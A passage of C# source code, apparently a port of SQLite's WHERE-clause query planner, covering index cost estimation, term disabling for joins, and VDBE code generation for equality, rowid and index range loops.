) )\n            {\n              inMultiplier *= 25;\n              inMultIsEst = 1;\n            }\n            else if ( pExpr.x.pList != null )\n            {\n              inMultiplier *= pExpr.x.pList.nExpr + 1;\n            }\n          }\n          else if ( ( pTerm.eOperator & WO_ISNULL ) != 0 )\n          {\n            wsFlags |= WHERE_COLUMN_NULL;\n          }\n        }\n        nRow = pProbe.aiRowEst[i] * inMultiplier;\n        /* If inMultiplier is an estimate and that estimate results in an\n        ** nRow it that is more than half number of rows in the table,\n        ** then reduce inMultipler */\n        if ( inMultIsEst != 0 && nRow * 2 > pProbe.aiRowEst[0] )\n        {\n          nRow = pProbe.aiRowEst[0] / 2;\n          inMultiplier = nRow / pProbe.aiRowEst[i];\n        }\n        cost = nRow + inMultiplier * estLog( pProbe.aiRowEst[0] );\n        nEq = i;\n        if ( pProbe.onError != OE_None && nEq == pProbe.nColumn )\n        {\n          testcase( wsFlags & WHERE_COLUMN_IN );\n          testcase( wsFlags & WHERE_COLUMN_NULL );\n          if ( ( wsFlags & ( WHERE_COLUMN_IN | WHERE_COLUMN_NULL ) ) == 0 )\n          {\n            wsFlags |= WHERE_UNIQUE;\n          }\n        }\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n        WHERETRACE( \"...... nEq=%d inMult=%.9g nRow=%.9g cost=%.9g\\n\",\n        nEq, inMultiplier, nRow, cost );\n#endif\n\n        /* Look for range constraints.  Assume that each range constraint\n** makes the search space 1/3rd smaller.\n*/\n        if ( nEq < pProbe.nColumn )\n        {\n          int j = pProbe.aiColumn[nEq];\n          pTerm = findTerm( pWC, iCur, j, notReady, WO_LT | WO_LE | WO_GT | WO_GE, pProbe );\n          if ( pTerm != null )\n          {\n            wsFlags |= WHERE_COLUMN_RANGE;\n            if ( findTerm( pWC, iCur, j, notReady, WO_LT | WO_LE, pProbe ) != null )\n            {\n              wsFlags |= WHERE_TOP_LIMIT;\n              cost /= 3;\n              nRow /= 3;\n            }\n            if ( findTerm( pWC, iCur, j, notReady, WO_GT | WO_GE, pProbe ) != null )\n            {\n              wsFlags |= WHERE_BTM_LIMIT;\n              cost /= 3;\n              nRow /= 3;\n            }\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n            WHERETRACE( \"...... range reduces nRow to %.9g and cost to %.9g\\n\",\n            nRow, cost );\n#endif\n          }\n        }\n\n        /* Add the additional cost of sorting if that is a factor.\n        */\n        if ( pOrderBy != null )\n        {\n          if ( ( wsFlags & ( WHERE_COLUMN_IN | WHERE_COLUMN_NULL ) ) == 0\n          && isSortingIndex( pParse, pWC.pMaskSet, pProbe, iCur, pOrderBy, nEq, ref rev )\n          )\n          {\n            if ( wsFlags == 0 )\n            {\n              wsFlags = WHERE_COLUMN_RANGE;\n            }\n            wsFlags |= WHERE_ORDERBY;\n            if ( rev != 0 )\n            {\n              wsFlags |= WHERE_REVERSE;\n            }\n          }\n          else\n          {\n            cost += cost * estLog( cost );\n#if (SQLITE_TEST) && (SQLITE_DEBUG)\n            WHERETRACE( \"...... orderby increases cost to %.9g\\n\", cost );\n#endif\n          }\n        }\n        else if ( wsFlags != 0 && ( pParse.db.flags & SQLITE_ReverseOrder ) != 0 )\n        {\n          /* For application testing, randomly reverse the output order for\n          ** SELECT statements that omit the ORDER BY clause.  This will help\n          ** to find cases where\n          */\n          wsFlags |= WHERE_REVERSE;\n        }\n\n        /* Check to see if we can get away with using just the index without\n        ** ever reading the table.  If that is the case, then halve the\n        ** cost of this index.\n        */\n        if ( wsFlags != 0 && pSrc.colUsed < ( ( (Bitmask)1 ) << ( BMS - 1 ) ) )\n        {\n          Bitmask m = pSrc.colUsed;\n          int j;\n          for ( j = 0 ; j < pProbe.nColumn ; j++ )\n          {\n            int x = pProbe.aiColumn[j];\n            if ( x < BMS - 1 )\n            {\n              m &= ~( ( (Bitmask)1 ) << x );\n            }\n          }\n          if ( m == 0 )\n          {\n            wsFlags |= WHERE_IDX_ONLY;\n            cost /= 2;\n            WHERETRACE( \"...... idx-only reduces cost to %.9g\\n\", cost );\n          }\n        }\n\n        /* If this index has achieved the lowest cost so far, then use it.\n        */\n        if ( wsFlags != 0 && cost < pCost.rCost )\n        {\n          pCost.rCost = cost;\n          pCost.nRow = nRow;\n          pCost.plan.wsFlags = wsFlags;\n          pCost.plan.nEq = (u32)nEq;\n          Debug.Assert( ( pCost.plan.wsFlags & WHERE_INDEXED ) != 0 );\n          pCost.plan.u.pIdx = pProbe;\n        }\n      }\n\n      /* Report the best result\n      */\n      pCost.plan.wsFlags = (u32)( pCost.plan.wsFlags | eqTermMask );\n      WHERETRACE( \"best index is %s, nrow=%.9g, cost=%.9g, wsFlags=%x, nEq=%d\\n\",\n      ( pCost.plan.wsFlags & WHERE_INDEXED ) != 0 ?\n      pCost.plan.u.pIdx.zName : \"(none)\", pCost.nRow,\n      pCost.rCost, pCost.plan.wsFlags, pCost.plan.nEq );\n    }\n\n    /*\n    ** Find the query plan for accessing table pSrc.pTab. Write the\n    ** best query plan and its cost into the WhereCost object supplied\n    ** as the last parameter. This function may calculate the cost of\n    ** both real and virtual table scans.\n    */\n    static void bestIndex(\n    Parse pParse,               /* The parsing context */\n    WhereClause pWC,            /* The WHERE clause */\n    SrcList_item pSrc,          /* The FROM clause term to search */\n    Bitmask notReady,           /* Mask of cursors that are not available */\n    ExprList pOrderBy,          /* The ORDER BY clause */\n    ref WhereCost pCost         /* Lowest cost query plan */\n    )\n    {\n#if !SQLITE_OMIT_VIRTUALTABLE\nif ( IsVirtual( pSrc.pTab ) )\n{\nsqlite3_index_info p = null;\nbestVirtualIndex(pParse, pWC, pSrc, notReady, pOrderBy, pCost, p);\nif( p.needToFreeIdxStr !=0){\n//sqlite3_free(ref p.idxStr);\n}\n//sqlite3DbFree(pParse.db, p);\n}\nelse\n#endif\n      {\n        bestBtreeIndex( pParse, pWC, pSrc, notReady, pOrderBy, ref pCost );\n      }\n    }\n\n    /*\n    ** Disable a term in the WHERE clause.  Except, do not disable the term\n    ** if it controls a LEFT OUTER JOIN and it did not originate in the ON\n    ** or USING clause of that join.\n    **\n    ** Consider the term t2.z='ok' in the following queries:\n    **\n    **   (1)  SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.x WHERE t2.z='ok'\n    **   (2)  SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.x AND t2.z='ok'\n    **   (3)  SELECT * FROM t1, t2 WHERE t1.a=t2.x AND t2.z='ok'\n    **\n    ** The t2.z='ok' is disabled in the in (2) because it originates\n    ** in the ON clause.  The term is disabled in (3) because it is not part\n    ** of a LEFT OUTER JOIN.  In (1), the term is not disabled.\n    **\n    ** Disabling a term causes that term to not be tested in the inner loop\n    ** of the join.  Disabling is an optimization.  When terms are satisfied\n    ** by indices, we disable them to prevent redundant tests in the inner\n    ** loop.  We would get the correct results if nothing were ever disabled,\n    ** but joins might run a little slower.  The trick is to disable as much\n    ** as we can without disabling too much.  If we disabled in (1), we'd get\n    ** the wrong answer.  See ticket #813.\n    */\n    static void disableTerm( WhereLevel pLevel, WhereTerm pTerm )\n    {\n      if ( pTerm != null\n      && ALWAYS( ( pTerm.wtFlags & TERM_CODED ) == 0 )\n      && ( pLevel.iLeftJoin == 0 || ExprHasProperty( pTerm.pExpr, EP_FromJoin ) ) )\n      {\n        pTerm.wtFlags |= TERM_CODED;\n        if ( pTerm.iParent >= 0 )\n        {\n          WhereTerm pOther = pTerm.pWC.a[pTerm.iParent];\n          if ( ( --pOther.nChild ) == 0 )\n          {\n            disableTerm( pLevel, pOther );\n          }\n        }\n      }\n    }\n\n    /*\n    ** Apply the affinities Debug.Associated with the first n columns of index\n    ** pIdx to the values in the n registers starting at _base.\n    */\n    static void codeApplyAffinity( Parse pParse, int _base, int n, Index pIdx )\n    {\n      if ( n > 0 )\n      {\n        Vdbe v = pParse.pVdbe;\n        Debug.Assert( v != null );\n        sqlite3VdbeAddOp2( v, OP_Affinity, _base, n );\n        sqlite3IndexAffinityStr( v, pIdx );\n        sqlite3ExprCacheAffinityChange( pParse, _base, n );\n      }\n    }\n\n\n    /*\n    ** Generate code for a single equality term of the WHERE clause.  An equality\n    ** term can be either X=expr or X IN (...).   pTerm is the term to be\n    ** coded.\n    **\n    ** The current value for the constraint is left in register iReg.\n    **\n    ** For a constraint of the form X=expr, the expression is evaluated and its\n    ** result is left on the stack.  For constraints of the form X IN (...)\n    ** this routine sets up a loop that will iterate over all values of X.\n    */\n    static int codeEqualityTerm(\n    Parse pParse,      /* The parsing context */\n    WhereTerm pTerm,   /* The term of the WHERE clause to be coded */\n    WhereLevel pLevel, /* When level of the FROM clause we are working on */\n    int iTarget         /* Attempt to leave results in this register */\n    )\n    {\n      Expr pX = pTerm.pExpr;\n      Vdbe v = pParse.pVdbe;\n      int iReg;                  /* Register holding results */\n\n      Debug.Assert( iTarget > 0 );\n      if ( pX.op == TK_EQ )\n      {\n        iReg = sqlite3ExprCodeTarget( pParse, pX.pRight, iTarget );\n      }\n      else if ( pX.op == TK_ISNULL )\n      {\n        iReg = iTarget;\n        sqlite3VdbeAddOp2( v, OP_Null, 0, iReg );\n#if  !SQLITE_OMIT_SUBQUERY\n      }\n      else\n      {\n        int eType;\n        int iTab;\n        InLoop pIn;\n\n        Debug.Assert( pX.op == TK_IN );\n        iReg = iTarget;\n        int iDummy = -1; eType = sqlite3FindInIndex( pParse, pX, ref iDummy );\n        iTab = pX.iTable;\n        sqlite3VdbeAddOp2( v, OP_Rewind, iTab, 0 );\n        Debug.Assert( ( pLevel.plan.wsFlags & WHERE_IN_ABLE ) != 0 );\n        if ( pLevel.u._in.nIn == 0 )\n        {\n          pLevel.addrNxt = sqlite3VdbeMakeLabel( v );\n        }\n        pLevel.u._in.nIn++;\n        if ( pLevel.u._in.aInLoop == null ) pLevel.u._in.aInLoop = new InLoop[pLevel.u._in.nIn];\n        else Array.Resize( ref pLevel.u._in.aInLoop, pLevel.u._in.nIn );\n        //sqlite3DbReallocOrFree(pParse.db, pLevel.u._in.aInLoop,\n        //                       sizeof(pLevel.u._in.aInLoop[0])*pLevel.u._in.nIn);\n        //pIn = pLevel.u._in.aInLoop;\n        if ( pLevel.u._in.aInLoop != null )//(pIn )\n        {\n          pLevel.u._in.aInLoop[pLevel.u._in.nIn - 1] = new InLoop();\n          pIn = pLevel.u._in.aInLoop[pLevel.u._in.nIn - 1];//pIn++\n          pIn.iCur = iTab;\n          if ( eType == IN_INDEX_ROWID )\n          {\n            pIn.addrInTop = sqlite3VdbeAddOp2( v, OP_Rowid, iTab, iReg );\n          }\n          else\n          {\n            pIn.addrInTop = sqlite3VdbeAddOp3( v, OP_Column, iTab, 0, iReg );\n          }\n          sqlite3VdbeAddOp1( v, OP_IsNull, iReg );\n        }\n        else\n        {\n          pLevel.u._in.nIn = 0;\n        }\n#endif\n      }\n      disableTerm( pLevel, pTerm );\n      return iReg;\n    }\n\n    /*\n    ** Generate code that will evaluate all == and IN constraints for an\n    ** index.  The values for all constraints are left on the stack.\n    **\n    ** For example, consider table t1(a,b,c,d,e,f) with index i1(a,b,c).\n    ** Suppose the WHERE clause is this:  a==5 AND b IN (1,2,3) AND c>5 AND c<10\n    ** The index has as many as three equality constraints, but in this\n    ** example, the third \"c\" value is an inequality.  So only two\n    ** constraints are coded.  This routine will generate code to evaluate\n    ** a==5 and b IN (1,2,3).  The current values for a and b will be stored\n    ** in consecutive registers and the index of the first register is returned.\n    **\n    ** In the example above nEq==2.  But this subroutine works for any value\n    ** of nEq including 0.  If nEq==null, this routine is nearly a no-op.\n    ** The only thing it does is allocate the pLevel.iMem memory cell.\n    **\n    ** This routine always allocates at least one memory cell and returns\n    ** the index of that memory cell. The code that\n    ** calls this routine will use that memory cell to store the termination\n    ** key value of the loop.  If one or more IN operators appear, then\n    ** this routine allocates an additional nEq memory cells for internal\n    ** use.\n    */\n    static int codeAllEqualityTerms(\n    Parse pParse,        /* Parsing context */\n    WhereLevel pLevel,   /* Which nested loop of the FROM we are coding */\n    WhereClause pWC,     /* The WHERE clause */\n    Bitmask notReady,     /* Which parts of FROM have not yet been coded */\n    int nExtraReg         /* Number of extra registers to allocate */\n    )\n    {\n      int nEq = (int)pLevel.plan.nEq;   /* The number of == or IN constraints to code */\n      Vdbe v = pParse.pVdbe;      /* The vm under construction */\n      Index pIdx;                  /* The index being used for this loop */\n      int iCur = pLevel.iTabCur;   /* The cursor of the table */\n      WhereTerm pTerm;             /* A single constraint term */\n      int j;                        /* Loop counter */\n      int regBase;                  /* Base register */\n      int nReg;                     /* Number of registers to allocate */\n\n      /* This module is only called on query plans that use an index. */\n      Debug.Assert( ( pLevel.plan.wsFlags & WHERE_INDEXED ) != 0 );\n      pIdx = pLevel.plan.u.pIdx;\n\n      /* Figure out how many memory cells we will need then allocate them.\n      */\n      regBase = pParse.nMem + 1;\n      nReg = (int)( pLevel.plan.nEq + nExtraReg );\n      pParse.nMem += nReg;\n\n      /* Evaluate the equality constraints\n      */\n      Debug.Assert( pIdx.nColumn >= nEq );\n      for ( j = 0 ; j < nEq ; j++ )\n      {\n        int r1;\n        int k = pIdx.aiColumn[j];\n        pTerm = findTerm( pWC, iCur, k, notReady, pLevel.plan.wsFlags, pIdx );\n        if ( NEVER( pTerm == null ) ) break;\n        Debug.Assert( ( pTerm.wtFlags & TERM_CODED ) == 0 );\n        r1 = codeEqualityTerm( pParse, pTerm, pLevel, regBase + j );\n        if ( r1 != regBase + j )\n        {\n          if ( nReg == 1 )\n          {\n            sqlite3ReleaseTempReg( pParse, regBase );\n            regBase = r1;\n          }\n          else\n          {\n            sqlite3VdbeAddOp2( v, OP_SCopy, r1, regBase + j );\n          }\n        }\n        testcase( pTerm.eOperator & WO_ISNULL );\n        testcase( pTerm.eOperator & WO_IN );\n        if ( ( pTerm.eOperator & ( WO_ISNULL | WO_IN ) ) == 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_IsNull, regBase + j, pLevel.addrBrk );\n        }\n      }\n      return regBase;\n    }\n\n    /*\n    ** Generate code for the start of the iLevel-th loop in the WHERE clause\n    ** implementation described by pWInfo.\n    */\n    static Bitmask codeOneLoopStart(\n    WhereInfo pWInfo,     /* Complete information about the WHERE clause */\n    int iLevel,           /* Which level of pWInfo.a[] should be coded */\n    u16 wctrlFlags,       /* One of the WHERE_* flags defined in sqliteInt.h */\n    Bitmask notReady      /* Which tables are currently available */\n    )\n    {\n      int j, k;                 /* Loop counters */\n      int iCur;                 /* The VDBE cursor for the table */\n      int addrNxt;              /* Where to jump to continue with the next IN case */\n      int omitTable;            /* True if we use the index only */\n      int bRev;                 /* True if we need to scan in reverse order */\n      WhereLevel pLevel;        /* The where level to be coded */\n      WhereClause pWC;          /* Decomposition of the entire WHERE clause */\n      WhereTerm pTerm;          /* A WHERE clause term */\n      Parse pParse;             /* Parsing context */\n      Vdbe v;                   /* The prepared stmt under constructions */\n      SrcList_item pTabItem;    /* FROM clause term being coded */\n      int addrBrk;              /* Jump here to break out of the loop */\n      int addrCont;             /* Jump here to continue with next cycle */\n      int iRowidReg = 0;        /* Rowid is stored in this register, if not zero */\n      int iReleaseReg = 0;      /* Temp register to free before returning */\n\n      pParse = pWInfo.pParse;\n      v = pParse.pVdbe;\n      pWC = pWInfo.pWC;\n      pLevel = pWInfo.a[iLevel];\n      pTabItem = pWInfo.pTabList.a[pLevel.iFrom];\n      iCur = pTabItem.iCursor;\n      bRev = ( pLevel.plan.wsFlags & WHERE_REVERSE ) != 0 ? 1 : 0;\n      omitTable = ( ( pLevel.plan.wsFlags & WHERE_IDX_ONLY ) != 0\n      && ( wctrlFlags & WHERE_FORCE_TABLE ) == 0 ) ? 1 : 0;\n\n      /* Create labels for the \"break\" and \"continue\" instructions\n      ** for the current loop.  Jump to addrBrk to break out of a loop.\n      ** Jump to cont to go immediately to the next iteration of the\n      ** loop.\n      **\n      ** When there is an IN operator, we also have a \"addrNxt\" label that\n      ** means to continue with the next IN value combination.  When\n      ** there are no IN operators in the constraints, the \"addrNxt\" label\n      ** is the same as \"addrBrk\".\n      */\n      addrBrk = pLevel.addrBrk = pLevel.addrNxt = sqlite3VdbeMakeLabel( v );\n      addrCont = pLevel.addrCont = sqlite3VdbeMakeLabel( v );\n\n      /* If this is the right table of a LEFT OUTER JOIN, allocate and\n      ** initialize a memory cell that records if this table matches any\n      ** row of the left table of the join.\n      */\n      if ( pLevel.iFrom > 0 && ( pTabItem.jointype & JT_LEFT ) != 0 )// Check value of pTabItem[0].jointype\n      {\n        pLevel.iLeftJoin = ++pParse.nMem;\n        sqlite3VdbeAddOp2( v, OP_Integer, 0, pLevel.iLeftJoin );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"init LEFT JOIN no-match flag\" );\n#endif\n      }\n\n#if  !SQLITE_OMIT_VIRTUALTABLE\nif ( ( pLevel.plan.wsFlags & WHERE_VIRTUALTABLE ) != null )\n{\n/* Case 0:  The table is a virtual-table.  Use the VFilter and VNext\n**          to access the data.\n*/\nint iReg;   /* P3 Value for OP_VFilter */\nsqlite3_index_info pVtabIdx = pLevel.plan.u.pVtabIdx;\nint nConstraint = pVtabIdx.nConstraint;\nsqlite3_index_constraint_usage* aUsage =\npVtabIdx.aConstraintUsage;\nconst sqlite3_index_constraint* aConstraint =\npVtabIdx.aConstraint;\n\niReg = sqlite3GetTempRange( pParse, nConstraint + 2 );\nfor ( j = 1 ; j <= nConstraint ; j++ )\n{\nfor ( k = 0 ; k < nConstraint ; k++ )\n{\nif ( aUsage[k].argvIndex == j )\n{\nint iTerm = aConstraint[k].iTermOffset;\nsqlite3ExprCode( pParse, pWC.a[iTerm].pExpr.pRight, iReg + j + 1 );\nbreak;\n}\n}\nif ( k == nConstraint ) break;\n}\nsqlite3VdbeAddOp2( v, OP_Integer, pVtabIdx.idxNum, iReg );\nsqlite3VdbeAddOp2( v, OP_Integer, j - 1, iReg + 1 );\nsqlite3VdbeAddOp4( v, OP_VFilter, iCur, addrBrk, iReg, pVtabIdx.idxStr,\npVtabIdx.needToFreeIdxStr ? P4_MPRINTF : P4_STATIC );\npVtabIdx.needToFreeIdxStr = 0;\nfor ( j = 0 ; j < nConstraint ; j++ )\n{\nif ( aUsage[j].omit )\n{\nint iTerm = aConstraint[j].iTermOffset;\ndisableTerm( pLevel, &pWC.a[iTerm] );\n}\n}\npLevel.op = OP_VNext;\npLevel.p1 = iCur;\npLevel.p2 = sqlite3VdbeCurrentAddr( v );\nsqlite3ReleaseTempRange( pParse, iReg, nConstraint + 2 );\n}\nelse\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n      if ( ( pLevel.plan.wsFlags & WHERE_ROWID_EQ ) != 0 )\n      {\n        /* Case 1:  We can directly reference a single row using an\n        **          equality comparison against the ROWID field.  Or\n        **          we reference multiple rows using a \"rowid IN (...)\"\n        **          construct.\n        */\n        iReleaseReg = sqlite3GetTempReg( pParse );\n        pTerm = findTerm( pWC, iCur, -1, notReady, WO_EQ | WO_IN, null );\n        Debug.Assert( pTerm != null );\n        Debug.Assert( pTerm.pExpr != null );\n        Debug.Assert( pTerm.leftCursor == iCur );\n        Debug.Assert( omitTable == 0 );\n        iRowidReg = codeEqualityTerm( pParse, pTerm, pLevel, iReleaseReg );\n        addrNxt = pLevel.addrNxt;\n        sqlite3VdbeAddOp2( v, OP_MustBeInt, iRowidReg, addrNxt );\n        sqlite3VdbeAddOp3( v, OP_NotExists, iCur, addrNxt, iRowidReg );\n        sqlite3ExprCacheStore( pParse, iCur, -1, iRowidReg );\n#if SQLITE_DEBUG\n        VdbeComment( v, \"pk\" );\n#endif\n        pLevel.op = OP_Noop;\n      }\n      else if ( ( pLevel.plan.wsFlags & WHERE_ROWID_RANGE ) != 0 )\n      {\n        /* Case 2:  We have an inequality comparison against the ROWID field.\n        */\n        int testOp = OP_Noop;\n        int start;\n        int memEndValue = 0;\n        WhereTerm pStart, pEnd;\n\n        Debug.Assert( omitTable == 0 );\n        pStart = findTerm( pWC, iCur, -1, notReady, WO_GT | WO_GE, null );\n        pEnd = findTerm( pWC, iCur, -1, notReady, WO_LT | WO_LE, null );\n        if ( bRev != 0 )\n        {\n          pTerm = pStart;\n          pStart = pEnd;\n          pEnd = pTerm;\n        }\n        if ( pStart != null )\n        {\n          Expr pX;             /* The expression that defines the start bound */\n          int r1, rTemp = 0;        /* Registers for holding the start boundary */\n\n          /* The following constant maps TK_xx codes into corresponding\n          ** seek opcodes.  It depends on a particular ordering of TK_xx\n          */\n          u8[] aMoveOp = new u8[]{\n/* TK_GT */  OP_SeekGt,\n/* TK_LE */  OP_SeekLe,\n/* TK_LT */  OP_SeekLt,\n/* TK_GE */  OP_SeekGe\n};\n          Debug.Assert( TK_LE == TK_GT + 1 );      /* Make sure the ordering.. */\n          Debug.Assert( TK_LT == TK_GT + 2 );      /*  ... of the TK_xx values... */\n          Debug.Assert( TK_GE == TK_GT + 3 );      /*  ... is correcct. */\n\n          pX = pStart.pExpr;\n          Debug.Assert( pX != null );\n          Debug.Assert( pStart.leftCursor == iCur );\n          r1 = sqlite3ExprCodeTemp( pParse, pX.pRight, ref rTemp );\n          sqlite3VdbeAddOp3( v, aMoveOp[pX.op - TK_GT], iCur, addrBrk, r1 );\n#if SQLITE_DEBUG\n          VdbeComment( v, \"pk\" );\n#endif\n          sqlite3ExprCacheAffinityChange( pParse, r1, 1 );\n          sqlite3ReleaseTempReg( pParse, rTemp );\n          disableTerm( pLevel, pStart );\n        }\n        else\n        {\n          sqlite3VdbeAddOp2( v, bRev != 0 ? OP_Last : OP_Rewind, iCur, addrBrk );\n        }\n        if ( pEnd != null )\n        {\n          Expr pX;\n          pX = pEnd.pExpr;\n          Debug.Assert( pX != null );\n          Debug.Assert( pEnd.leftCursor == iCur );\n          memEndValue = ++pParse.nMem;\n          sqlite3ExprCode( pParse, pX.pRight, memEndValue );\n          if ( pX.op == TK_LT || pX.op == TK_GT )\n          {\n            testOp = bRev != 0 ? OP_Le : OP_Ge;\n          }\n          else\n          {\n            testOp = bRev != 0 ? OP_Lt : OP_Gt;\n          }\n          disableTerm( pLevel, pEnd );\n        }\n        start = sqlite3VdbeCurrentAddr( v );\n        pLevel.op = (u8)( bRev != 0 ? OP_Prev : OP_Next );\n        pLevel.p1 = iCur;\n        pLevel.p2 = start;\n        pLevel.p5 = (u8)( ( pStart == null && pEnd == null ) ? 1 : 0 );\n        if ( testOp != OP_Noop )\n        {\n          iRowidReg = iReleaseReg = sqlite3GetTempReg( pParse );\n          sqlite3VdbeAddOp2( v, OP_Rowid, iCur, iRowidReg );\n          sqlite3ExprCacheStore( pParse, iCur, -1, iRowidReg );\n          sqlite3VdbeAddOp3( v, testOp, memEndValue, addrBrk, iRowidReg );\n          sqlite3VdbeChangeP5( v, SQLITE_AFF_NUMERIC | SQLITE_JUMPIFNULL );\n        }\n      }\n      else if ( ( pLevel.plan.wsFlags & ( WHERE_COLUMN_RANGE | WHERE_COLUMN_EQ ) ) != 0 )\n      {\n        /* Case 3: A scan using an index.\n        **\n        **         The WHERE clause may contain zero or more equality\n        **         terms (\"==\" or \"IN\" operators) that refer to the N\n        **         left-most columns of the index. It may also contain\n        **         inequality constraints (>, <, >= or <=) on the indexed\n        **         column that immediately follows the N equalities. Only\n        **         the right-most column can be an inequality - the rest must\n        **         use the \"==\" and \"IN\" operators. For example, if the\n        **         index is on (x,y,z), then the following clauses are all\n        **         optimized:\n        **\n        **            x=5\n        **            x=5 AND y=10\n        **            x=5 AND y<10\n        **            x=5 AND y>5 AND y<10\n        **            x=5 AND y=5 AND z<=10\n        **\n        **         The z<10 term of the following cannot be used, only\n        **         the x=5 term:\n        **\n        **            x=5 AND z<10\n        **\n        **         N may be zero if there are inequality constraints.\n        **         If there are no inequality constraints, then N is at\n        **         least one.\n        **\n        **         This case is also used when there are no WHERE clause\n        **         constraints but an index is selected anyway, in order\n        **         to force the output order to conform to an ORDER BY.\n        */\n        int[] aStartOp = new int[]  {\n0,\n0,\nOP_Rewind,           /* 2: (!start_constraints && startEq &&  !bRev) */\nOP_Last,             /* 3: (!start_constraints && startEq &&   bRev) */\nOP_SeekGt,           /* 4: (start_constraints  && !startEq && !bRev) */\nOP_SeekLt,           /* 5: (start_constraints  && !startEq &&  bRev) */\nOP_SeekGe,           /* 6: (start_constraints  &&  startEq && !bRev) */\nOP_SeekLe            /* 7: (start_constraints  &&  startEq &&  bRev) */\n};\n        int[] aEndOp = new int[]  {\nOP_Noop,             /* 0: (!end_constraints) */\nOP_IdxGE,            /* 1: (end_constraints && !bRev) */\nOP_IdxLT             /* 2: (end_constraints && bRev) */\n};\n        int nEq = (int)pLevel.plan.nEq;\n        int isMinQuery = 0;          /* If this is an optimized SELECT min(x).. */\n        int regBase;                 /* Base register holding constraint values */\n        int r1;                      /* Temp register */\n        WhereTerm pRangeStart = null;  /* Inequality constraint at range start */\n        WhereTerm pRangeEnd = null;    /* Inequality constraint at range end */\n        int startEq;                 /* True if range start uses ==, >= or <= */\n        int endEq;                   /* True if range end uses ==, >= or <= */\n        int start_constraints;       /* Start of range is constrained */\n        int nConstraint;             /* Number of constraint terms */\n        Index pIdx;         /* The index we will be using */\n        int iIdxCur;         /* The VDBE cursor for the index */\n        int nExtraReg = 0;   /* Number of extra registers needed */\n        int op;              /* Instruction opcode */\n\n        pIdx = pLevel.plan.u.pIdx;\n        iIdxCur = pLevel.iIdxCur;\n        k = pIdx.aiColumn[nEq];     /* Column for inequality constraints */\n\n        /* If this loop satisfies a sort order (pOrderBy) request that\n        ** was pDebug.Assed to this function to implement a \"SELECT min(x) ...\"\n        ** query, then the caller will only allow the loop to run for\n        ** a single iteration. This means that the first row returned\n        ** should not have a NULL value stored in 'x'. If column 'x' is\n        ** the first one after the nEq equality constraints in the index,\n        ** this requires some special handling.\n        */\n        if ( ( wctrlFlags & WHERE_ORDERBY_MIN ) != 0\n        && ( ( pLevel.plan.wsFlags & WHERE_ORDERBY ) != 0 )\n        && ( pIdx.nColumn > nEq )\n        )\n        {\n          /* Debug.Assert( pOrderBy.nExpr==1 ); */\n          /* Debug.Assert( pOrderBy.a[0].pExpr.iColumn==pIdx.aiColumn[nEq] ); */\n          isMinQuery = 1;\n          nExtraReg = 1;\n        }\n\n        /* Find any inequality constraint terms for the start and end\n        ** of the range.\n        */\n        if ( ( pLevel.plan.wsFlags & WHERE_TOP_LIMIT ) != 0 )\n        {\n          pRangeEnd = findTerm( pWC, iCur, k, notReady, ( WO_LT | WO_LE ), pIdx );\n          nExtraReg = 1;\n        }\n        if ( ( pLevel.plan.wsFlags & WHERE_BTM_LIMIT ) != 0 )\n        {\n          pRangeStart = findTerm( pWC, iCur, k, notReady, ( WO_GT | WO_GE ), pIdx );\n          nExtraReg = 1;\n        }\n\n        /* Generate code to evaluate all constraint terms using == or IN\n        ** and store the values of those terms in an array of registers\n        ** starting at regBase.\n        */\n        regBase = codeAllEqualityTerms( pParse, pLevel, pWC, notReady, nExtraReg );\n        addrNxt = pLevel.addrNxt;\n\n\n        /* If we are doing a reverse order scan on an ascending index, or\n        ** a forward order scan on a descending index, interchange the\n        ** start and end terms (pRangeStart and pRangeEnd).\n        */\n        if ( bRev == ( ( pIdx.aSortOrder[nEq] == SQLITE_SO_ASC ) ? 1 : 0 ) )\n        {\n          SWAP( ref pRangeEnd, ref pRangeStart );\n        }\n\n        testcase( pRangeStart != null && ( pRangeStart.eOperator & WO_LE ) != 0 );\n        testcase( pRangeStart != null && ( pRangeStart.eOperator & WO_GE ) != 0 );\n        testcase( pRangeEnd != null && ( pRangeEnd.eOperator & WO_LE ) != 0 );\n        testcase( pRangeEnd != null && ( pRangeEnd.eOperator & WO_GE ) != 0 );\n        startEq = ( null == pRangeStart || ( pRangeStart.eOperator & ( WO_LE | WO_GE ) ) != 0 ) ? 1 : 0;\n        endEq = ( null == pRangeEnd || ( pRangeEnd.eOperator & ( WO_LE | WO_GE ) ) != 0 ) ? 1 : 0;\n        start_constraints = ( pRangeStart != null || nEq > 0 ) ? 1 : 0;\n\n        /* Seek the index cursor to the start of the range. */\n        nConstraint = nEq;\n        if ( pRangeStart != null )\n        {\n          sqlite3ExprCode( pParse, pRangeStart.pExpr.pRight, regBase + nEq );\n          sqlite3VdbeAddOp2( v, OP_IsNull, regBase + nEq, addrNxt );\n          nConstraint++;\n        }\n        else if ( isMinQuery != 0 )\n        {\n          sqlite3VdbeAddOp2( v, OP_Null, 0, regBase + nEq );\n          nConstraint++;\n          startEq = 0;\n          start_constraints = 1;\n        }\n        codeApplyAffinity( pParse, regBase, nConstraint, pIdx );\n        op = aStartOp[( start_constraints << 2 ) + ( startEq << 1 ) + bRev];\n        Debug.Assert( op != 0 );\n        testcase( op == OP_Rewind );\n        testcase( op == OP_Last );\n        testcase( op == OP_SeekGt );\n        testcase( op == OP_SeekGe );\n        testcase( op == OP_SeekLe );\n        testcase( op == OP_SeekLt );\n        sqlite3VdbeAddOp4( v, op, iIdxCur, addrNxt, regBase,\n        ( nConstraint ), P4_INT32 );//    SQLITE_INT_TO_PTR(nConstraint)\n\n        /* Load the value for the inequality constraint at the end of the\n        ** range (if any).\n        */\n        nConstraint = nEq;\n        if ( pRangeEnd != null )\n        {\n          sqlite3ExprCacheRemove( pParse, regBase + nEq );\n          sqlite3ExprCode( pParse, pRangeEnd.pExpr.pRight, regBase + nEq );\n          sqlite3VdbeAddOp2( v, OP_IsNull, regBase + nEq, addrNxt );\n          codeApplyAffinity( pParse, regBase, nEq + 1, pIdx );\n          nConstraint++;\n        }\n\n        /* Top of the loop body */\n        pLevel.p2 = sqlite3VdbeCurrentAddr( v );\n\n        /* Check if the index cursor is past the end of the range. */\n        op = aEndOp[( ( pRangeEnd != null || nEq != 0 ) ? 1 : 0 ) * ( 1 + bRev )];\n        testcase( op == 